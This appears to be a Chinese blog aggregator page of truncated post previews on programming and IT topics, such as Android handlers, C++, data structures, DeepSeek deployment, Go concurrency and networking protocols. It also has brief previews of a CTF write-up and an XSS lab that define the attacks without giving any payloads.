我在CTeX中画图的时候&#xff0c;习惯用Geogebra先画好&#xff0c;然后生成pstricks或PGFTikz代码&#xff1a; 这样不用插入eps或pdf之类的图片&#xff0c;也是一种偷懒的方法。以前往arXiv.org上面传论文也是这样&#xff1a;代码出图&#xff0c;就不用另外上传一幅eps或…...

操作系统和中间件的信息收集

在浏览器中收集操作系统与中间件信息时&#xff0c;主要通过客户端JavaScript&#xff08;用于操作系统/浏览器信息&#xff09;和服务器端脚本&#xff08;用于中间件信息&#xff09;实现。以下是分步指南&#xff1a; 一、客户端操作系统信息收集&#xff08;JavaScript&am…...

Android --- handler详解

handler 理解 handler 是一套Android 消息传递机制&#xff0c;主要用于线程间通信。 tips&#xff1a; binder/socket 用于进程间通信。 参考&#xff1a; Android 进程间通信-CSDN博客 handler 就是主线程在起了一个子线程&#xff0c;子线程运行并生成message &#xff0c;l…...

C++:结构体和类

在之前的博客中已经讲过了C语言中的结构体概念了&#xff0c;重复的内容在这儿就不赘述了。C中的结构体在C语言的基础上还有些补充&#xff0c;在这里说明一下&#xff0c;顺便简单地讲一下类的概念。 一、成员函数 结构体类型声明的关键字是 struct &#xff0c;在C中结构体…...

初级数据结构:栈和队列

目录 一、栈 (一)、栈的定义 (二)、栈的功能 (三)、栈的实现 1.栈的初始化 2.动态扩容 3.压栈操作 4.出栈操作 5.获取栈顶元素 6.获取栈顶元素的有效个数 7.检查栈是否为空 8.栈的销毁 9.完整代码 二、队列 (一)、队列的定义 (二)、队列的功能 (三&#xff09…...

携程Java开发面试题及参考答案 (200道-下)

insert 一行数据的时候加的是什么锁?为什么? 在 MySQL 中,当执行 INSERT 操作插入一行数据时,加锁的情况会因存储引擎和具体的事务隔离级别而有所不同。一般来说,在 InnoDB 存储引擎下,INSERT 操作加的是行级排他锁(Row Exclusive Lock),以下详细说明原因。 行级排他…...

Python从0到100(八十六):神经网络-ShuffleNet通道混合轻量级网络的深入介绍

前言&#xff1a; 零基础学Python&#xff1a;Python从0到100最新最全教程。 想做这件事情很久了&#xff0c;这次我更新了自己所写过的所有博客&#xff0c;汇集成了Python从0到100&#xff0c;共一百节课&#xff0c;帮助大家一个月时间里从零基础到学习Python基础语法、Pyth…...

98,【6】 buuctf web [ISITDTU 2019]EasyPHP

进入靶场 代码 <?php // 高亮显示当前 PHP 文件的源代码&#xff0c;通常用于调试或展示代码&#xff0c;方便用户查看代码逻辑 highlight_file(__FILE__);// 从 GET 请求中获取名为 _ 的参数值&#xff0c;并赋值给变量 $_ // 符号用于抑制可能出现的错误信息&#xff…...

54【ip+端口+根目录通信】

上节课讲到&#xff0c;根目录起到定位作用&#xff0c;比如我们搭建一个php网站后&#xff0c;注册系统是由根目录的register.php文件执行&#xff0c;那么我们给这个根目录绑定域名https://127.0.0.1&#xff0c;当我们浏览器访问https://127.0.0.1/register.php时&#xff0…...

计算机网络 应用层 笔记 (电子邮件系统,SMTP,POP3,MIME,IMAP,万维网,HTTP,html)

电子邮件系统&#xff1a; SMTP协议 基本概念 工作原理 连接建立&#xff1a; 命令交互 客户端发送命令&#xff1a; 服务器响应&#xff1a; 邮件传输&#xff1a; 连接关闭&#xff1a; 主要命令 邮件发送流程 SMTP的缺点: MIME&#xff1a; POP3协议 基本概念…...

解析PHP文件路径相关常量

PHP文件路径相关常量包括以下几个常量&#xff1a; __FILE__&#xff1a;表示当前文件的绝对路径&#xff0c;包括文件名。 __DIR__&#xff1a;表示当前文件所在的目录的绝对路径&#xff0c;不包括文件名。 dirname(__FILE__)&#xff1a;等同于__DIR__&#xff0c;表示当前…...

蓝桥与力扣刷题(234 回文链表)

题目&#xff1a;给你一个单链表的头节点 head &#xff0c;请你判断该链表是否为回文链表。如果是&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,2,1] 输出&#xff1a;true示例 2&#xff1a; 输入&…...

【协议详解】卫星通信5G IoT NTN SIB33-NB 信令详解

一、SIB33信令概述 在5G非地面网络&#xff08;NTN&#xff09;中&#xff0c;卫星的高速移动性和广域覆盖特性使得地面设备&#xff08;UE&#xff09;需要频繁切换卫星以维持连接。SIB32提供了UE预测当前服务的卫星覆盖信息&#xff0c;SystemInformationBlockType33&#x…...

c语言练习题【数据类型、递归、双向链表快速排序】

练习1&#xff1a;数据类型 请写出以下几个数据的数据类型 整数 a a 的地址 存放a的数组 b 存放a的地址的数组 b的地址 c的地址 指向 printf 函数的指针 d 存放 d的数组 整数 a 的类型 数据类型是 int a 的地址 数据类型是 int*&#xff08;指向 int 类型的指针&#xff09; …...

SliverAppBar的功能和用法

文章目录 1 概念介绍2 使用方法3 示例代码 我们在上一章回中介绍了SliverGrid组件相关的内容&#xff0c;本章回中将介绍SliverAppBar组件.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1 概念介绍 我们在本章回中介绍的SliverAppBar和普通的AppBar类似&#xff0c;它们的…...

deepseek 本地化部署和小模型微调

安装ollama 因为本人gpu卡的机器系统是centos 7, 直接使用ollama会报 所以ollama使用镜像方式进行部署&#xff0c; 拉取镜像ollama/ollama 启动命令 docker run -d --privileged -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama 查看ollama 是否启动…...

Heptagon 同步语言介绍

同步语言于20世纪80年代创立&#xff0c;用于建模、设计和实现实时关键反应系统。随着被控制系统的复杂性不断增加&#xff0c;执行速度成为一个重要标准。与此同时&#xff0c;处理器在核心数量上的增长超过了速度的提升。因此&#xff0c;我们正在寻求一种并行执行方式&#…...

Golang 并发机制-5:详解syn包同步原语

并发性是现代软件开发的一个基本方面&#xff0c;Go&#xff08;也称为Golang&#xff09;为并发编程提供了一组健壮的工具。Go语言中用于管理并发性的重要包之一是“sync”包。在本文中&#xff0c;我们将概述“sync”包&#xff0c;并深入研究其最重要的同步原语之一&#xf…...

数组排序算法

数组排序算法 用C语言实现的数组排序算法。 排序算法平均时间复杂度最坏时间复杂度最好时间复杂度空间复杂度是否稳定适用场景QuickO(n log n)O(n)O(n log n)O(log n)不稳定大规模数据&#xff0c;通用排序BubbleO(n)O(n)O(n)O(1)稳定小规模数据&#xff0c;教学用途InsertO(n)…...

利用腾讯云cloud studio云端免费部署deepseek-R1

1. cloud studio 1.1 cloud studio介绍 Cloud Studio&#xff08;云端 IDE&#xff09;是基于浏览器的集成式开发环境&#xff0c;为开发者提供了一个稳定的云端工作站。支持CPU与GPU的访问。用户在使用 Cloud Studio 时无需安装&#xff0c;随时随地打开浏览器即可使用。Clo…...

Codeforces Round 1002 (Div. 2)(A-D)

题目链接&#xff1a;Dashboard - Codeforces Round 1002 (Div. 2) - Codeforces A. Milya and Two Arrays 思路 数组a中不同数的数量*数组b的&#xff0c;就是能够组成不同数的数量 代码 void solve(){int n;cin>>n;int cnt10;int cnt20;map<int,bool> mp;ma…...

半导体器件与物理篇7 微波二极管、量子效应和热电子器件

基本微波技术 微波频率&#xff1a;微波频率涵盖约从0.1GHz到3000GHz&#xff0c;相当于波长从300cm到0.01cm。 分布效应&#xff1a;电子部件在微波频率&#xff0c;与其在较低频率的工作行为不同。 输运线&#xff1a;一个由电阻、电容、电感三种等效基本电路部件所组成的…...

Hot100之图论

200岛屿数量 题目 思路解析 把访问过的格子插上棋子 思想是先污染再治理&#xff0c;我们有一个inArea&#xff08;&#xff09;函数&#xff0c;是判断是否出界了 我们先dfs&#xff08;&#xff09;放各个方向遍历&#xff0c;然后我们再把这个位置标为0 我们岛屿是连着…...

CSS 样式化表格:从基础到高级技巧

CSS 样式化表格&#xff1a;从基础到高级技巧 1. 典型的 HTML 表格结构2. 为表格添加样式2.1 间距和布局2.2 简单的排版2.3 图形和颜色2.4 斑马条纹2.5 样式化标题 3. 完整的示例代码4. 总结 在网页设计中&#xff0c;表格是展示数据的常见方式。然而&#xff0c;默认的表格样式…...

DeepSeek相关技术整理

相关介绍 2024年12月26日&#xff0c;DeepSeek V3模型发布&#xff08;用更低的训练成本&#xff0c;训练出更好的效果&#xff09;671B参数&#xff0c;激活37B。2025年1月20日&#xff0c;DeepSeek-R1模型发布&#xff08;仅需少量标注数据&#xff08;高质量长cot&#xff…...

Spring Boot框架下的单元测试

1. 什么是单元测试 1.1 基本定义 单元测试(Unit Test) 是对软件开发中最小可测单位&#xff08;例如一个方法或者一个类&#xff09;进行验证的一种测试方式。在 Java 后端的 Spring Boot 项目中&#xff0c;单元测试通常会借助 JUnit、Mockito 等框架对代码中核心逻辑进行快…...

OpenAI 实战进阶教程 - 第四节: 结合 Web 服务:构建 Flask API 网关

目标 学习将 OpenAI 接入 Web 应用&#xff0c;构建交互式 API 网关理解 Flask 框架的基本用法实现 GPT 模型的 API 集成并返回结果 内容与实操 一、环境准备 安装必要依赖&#xff1a; 打开终端或命令行&#xff0c;执行以下命令安装 Flask 和 OpenAI SDK&#xff1a; pip i…...

xss-labs靶场

xss-labs靶场 xss攻击类型 反射型xss 即攻击者将恶意脚本嵌入到url或者表单中&#xff0c;当用户访问特定的url或者提交表单时&#xff08;用户端请求时)&#xff0c;恶意脚本会执行 攻击需要用户点击恶意链接或访问包含恶意参数的url触发 存储型xss 即攻击者将恶意脚本提交…...

Eigen::Tensor使用帮助

0 引言 用python实现了某些算法之后&#xff0c;想转成C来获取更高的性能。但是python数组的操作太灵活了&#xff0c;尤其是3维、4维、5维等高维数组&#xff0c;以及它们的广播、数组坐标、切片等机制。还有numpy的pad、where等操作更是给C转换带来了更多的麻烦。 查阅了相…...

高阶开发基础——快速入门C++并发编程4

目录 使用call_once来确保调用的唯一性 先看我们的原始的单例模式 使用call_once来确保调用的唯一性 一个相似的概念是——单例模式&#xff0c;笔者找到的是stack_overflow的一个问答&#xff0c;如果不喜欢看英文&#xff0c;可以考虑看一下这个CSDN回答&#xff1a; c - H…...

C++基础day1

前言&#xff1a;谢谢阿秀&#xff0c;指路阿秀的学习笔记 一、基础语法 1.构造和析构: 类的构造函数是一种特殊的函数&#xff0c;在创建一个新的对象时调用。类的析构函数也是一种特殊的函数&#xff0c;在删除所创建的对象时调用。 构造顺序&#xff1a;父类->子类 析…...